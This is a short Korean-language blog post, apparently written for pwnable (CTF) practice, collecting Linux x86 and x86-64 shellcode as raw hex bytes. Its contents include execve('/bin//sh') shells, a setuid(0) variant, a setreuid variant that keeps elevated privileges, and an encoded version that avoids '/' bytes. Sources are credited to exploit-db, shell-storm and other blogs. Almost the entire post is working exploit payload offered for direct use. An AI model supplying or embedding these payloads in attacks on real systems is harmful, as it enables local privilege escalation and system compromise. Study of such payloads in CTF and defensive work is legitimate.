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[시스템 해킹] 쉘코드 모음
pwnable 풀때 쉘코드가 필요한 경우가 많아서 구글링을 통해서 모은 쉘코드들이다.
1. 24bytes
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80
2. 25bytes
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80
3. 26bytes
\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x31\xc9\x31\xd2\xb0\x08\x40\x40\x40\xcd\x80
4. setuid(0), execve("/bin//sh")
\x6a\x17\x58\x31\xdb\xcd\x80\x6a\x0b\x58\x99\x52\x68//sh\x68/bin\x89\xe3\x52\x53\x89\xe1\xcd\x80
5. setreuid(geteuid(), getreuid()) 포함 41bytes 쉘
\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80
6. \x2f 가 없는 쉘 48bytes
\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81
7. 64bit 쉘코드
- 23bytes
\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05
- 31 bytes
\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x48\x31\xc0\x50\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x89\xe7\xb0\x3b\x0f\x05다양한 쉘코드 가 있는 사이트 : http://shell-storm.org/shellcode/index.html
출처 :
1. https://doongdangdoongdangdong.tistory.com/135
2. https://mandu-mandu.tistory.com/22
3. https://www.exploit-db.com/exploits/13359
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